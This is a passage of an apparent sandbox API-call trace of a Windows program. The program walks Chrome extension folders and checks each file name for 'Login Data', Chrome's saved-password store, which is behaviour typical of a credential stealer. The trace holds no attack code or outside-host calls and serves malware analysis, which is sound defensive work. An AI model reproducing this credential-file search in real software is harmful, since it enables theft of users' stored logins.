Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" [0054.846] lstrcpyA (in: lpString1=0x75c7a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\" [0054.847] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\", lpString2="__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" [0054.847] lstrcpyA (in: lpString1=0x74cdf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX" [0054.847] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*" [0054.847] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.0.0.6_0\\__MACOSX\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.847] lstrcpyA (in: lpString1=0x76a4b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake" [0054.847] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0054.847] lstrcpyA (in: lpString1=0x76a5b0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\" [0054.847] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\", lpString2="0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0054.847] lstrcpyA (in: lpString1=0x75c598, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0054.847] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*" [0054.847] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\*.*", lpFindFileData=0xef4b8 | out: lpFindFileData=0xef4b8) returned 0x72db90 [0054.847] StrStrIA (lpFirst="icon_128.png", lpSrch="Login Data") returned 0x0 [0054.847] StrStrIA (lpFirst="icon_16.png", lpSrch="Login Data") returned 0x0 [0054.847] StrStrIA (lpFirst="main.html", lpSrch="Login Data") returned 0x0 [0054.847] StrStrIA (lpFirst="main.js", lpSrch="Login Data") returned 0x0 [0054.847] StrStrIA (lpFirst="manifest.json", lpSrch="Login Data") returned 0x0 [0054.847] lstrcpyA (in: lpString1=0x75c6a0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0" [0054.847] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0054.847] lstrcpyA (in: lpString1=0x75c7a8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\" [0054.847] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\", lpString2="_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.847] lstrcpyA (in: lpString1=0x74cdf0, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.847] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*" [0054.847] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\*.*", lpFindFileData=0xef34c | out: lpFindFileData=0xef34c) returned 0x72dbd0 [0054.848] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.848] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.848] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.848] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" [0054.848] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar" [0054.848] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*" [0054.848] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ar\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.848] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.848] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.848] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.848] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.848] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" [0054.848] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg" [0054.848] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*" [0054.848] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\bg\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.848] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.848] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.848] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.848] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.849] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" [0054.849] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca" [0054.849] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*" [0054.849] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ca\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.849] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.849] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.849] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.849] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.849] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\", lpString2="cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" [0054.849] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs" [0054.849] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*" [0054.849] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\cs\\*.*", lpFindFileData=0xef1e0 | out: lpFindFileData=0xef1e0) returned 0x72dd10 [0054.849] StrStrIA (lpFirst="messages.json", lpSrch="Login Data") returned 0x0 [0054.849] lstrcpyA (in: lpString1=0x74cf00, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales" [0054.849] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" [0054.849] lstrcpyA (in: lpString1=0x74d010, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\" | out: 